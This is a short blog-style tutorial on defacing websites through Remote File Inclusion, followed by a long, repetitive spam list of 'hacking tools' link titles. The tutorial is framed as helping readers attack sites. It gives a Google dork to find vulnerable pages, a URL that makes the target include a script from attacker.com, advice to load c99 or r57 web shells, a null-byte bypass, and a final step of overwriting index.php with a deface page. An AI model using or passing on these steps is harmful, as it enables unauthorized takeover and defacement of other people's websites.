HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Read more

1. What Are Hacking Tools
2. Hacking Tools For Kali Linux
3. Usb Pentest Tools
4. Pentest Tools Kali Linux
5. Hacker
6. Hacking Tools And Software
7. New Hacker Tools
8. Hacking Tools For Mac
9. Hacker Tools
10. Hack Tools For Mac
11. Best Pentesting Tools 2018
12. How To Install Pentest Tools In Ubuntu
13. Hacker Tools For Pc
14. Hacking Tools For Mac
15. Hacker Tools Windows
16. Hacker Search Tools
17. Hacker Tools For Ios
18. Beginner Hacker Tools
19. Hacking Tools Name
20. New Hack Tools
21. Hacking Tools Mac
22. Hacker Tools For Windows
23. Pentest Tools Apk
24. Best Hacking Tools 2020
25. Hacker
26. Pentest Tools Website
27. Hack Tools For Pc
28. Bluetooth Hacking Tools Kali
29. Hack Apps
30. What Are Hacking Tools
31. Nsa Hack Tools Download
32. Hack Tools For Windows
33. Termux Hacking Tools 2019
34. Hacking Tools Free Download
35. Github Hacking Tools
36. Hack Tools For Mac
37. Game Hacking
38. Hacking Tools Github
39. Hack Tools 2019
40. Hack And Tools
41. Hacking Tools 2020
42. Hacker Tools Free Download
43. Hacking Tools For Kali Linux
44. Install Pentest Tools Ubuntu
45. Pentest Tools Kali Linux
46. Hacking Tools Download
47. Free Pentest Tools For Windows
48. Nsa Hacker Tools
49. Hacking Tools For Kali Linux
50. Pentest Tools Open Source
51. Pentest Tools Port Scanner
52. Hacker Tools Mac
53. What Is Hacking Tools
54. Hacking Tools For Kali Linux
55. Hacking Tools For Kali Linux
56. Pentest Tools Find Subdomains
57. Hacker Tools Free
58. Hacker Tools Software
59. Tools Used For Hacking
60. Computer Hacker
61. Pentest Tools For Mac
62. Hacking Tools Download
63. Hacking Tools For Beginners
64. Pentest Tools Review
65. Pentest Tools
66. Hack Tools
67. Pentest Tools Port Scanner
68. Pentest Tools For Mac
69. Pentest Tools Website Vulnerability
70. Pentest Tools Android
71. Best Pentesting Tools 2018
72. Hacker
73. Hacker
74. Pentest Tools Download
75. Ethical Hacker Tools
76. Pentest Tools Find Subdomains
77. Hacking Tools Name
78. Hack Tools For Ubuntu
79. Pentest Tools Nmap
80. Pentest Tools Bluekeep
81. Hak5 Tools
82. Hacker Tools Windows
83. Hacking Tools Name
84. Hack Tools Online
85. What Is Hacking Tools
86. Hacker Tools For Pc
87. Pentest Tools Website Vulnerability
88. Growth Hacker Tools